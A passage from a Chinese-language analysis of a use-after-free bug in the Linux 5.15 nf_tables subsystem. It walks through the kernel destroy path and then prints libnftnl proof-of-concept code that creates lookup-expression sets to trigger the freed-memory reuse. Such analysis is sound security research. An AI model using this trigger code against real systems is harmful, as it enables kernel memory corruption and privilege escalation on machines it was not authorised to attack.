NFTA_LOOKUP_MAX, .owner = THIS_MODULE, }; 那么就会进入销毁表达式[3] 5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err); nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数 File: linux-5.15\net\netfilter\nf_tables_api.c 2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr) 2824: { 2825: nf_tables_expr_destroy(ctx, expr); 2826: kfree(expr); 2827: } 在nf_tables_exor_destroy函数会调用表达式的destroy操作 File: linux-5.15\net\netfilter\nf_tables_api.c 2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx, 2762:   struct nft_expr *expr) 2763: { 2764: const struct nft_expr_type *type = expr->ops->type; 2765: 2766: if (expr->ops->destroy) 2767: expr->ops->destroy(ctx, expr); //表达式的删除操作 2768: module_put(type->owner); 2769: } nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数 File: linux-5.15\net\netfilter\nft_lookup.c 173: static void nft_lookup_destroy(const struct nft_ctx *ctx, 174:       const struct nft_expr *expr) 175: { 176: struct nft_lookup *priv = nft_expr_priv(expr); 177: 178: nf_tables_destroy_set(ctx, priv->set); 179: } 在nf_tables_destroy_set函数内部中有一个简单的判断，若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞，若我们创建的表达式lookup已经被绑定在set上，因此list_empty(&set->bindings为0，那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。 File: linux-5.15\net\netfilter\nf_tables_api.c 4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set) 4684: { 4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空，以及`set`是否匿名 4686: nft_set_destroy(ctx, set); 4687: } 由于lookup->destory不会执行任何操作，就会导致lookup表达式仍然残留在set->bingdings上，但是由于表达式的标志位不能通过校验，随后该表达式就会被释放。 POC分析 首先创建一个名为set_stable的set，为后续创建lookup表达式做准备。    set_name = "set_stable";    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++); 紧接着创建名为set_trigger的set，并同时将标志位设置为NFT_SET_EXPR，那么就能在创建set的同时创建表达式，创建的表达式为lookup表达式，并且搜索的set的名为set_stable，这里需要注意的是，第一个创建的set是为了后续的lookup表达式提供搜索的set，而第二次的set是为了创建set的同时创建lookup表达式，因此第二个set的作用仅仅是为了创建lookup表达式。    set_name = "set_trigger";    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);    exprs[exprid] = nftnl_expr_alloc("lookup");    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);    // nest the expression into the set    nftnl_set_add_expr(set_trigger, exprs[exprid]); 最后就是触发漏洞，第三次的set同样的也仅仅是为了创建lookup表达式，由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针，因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中，从而导致的uaf漏洞。    set_name = "set_uaf";    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);    exprs[exprid] = nftnl_expr_alloc("lookup");    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);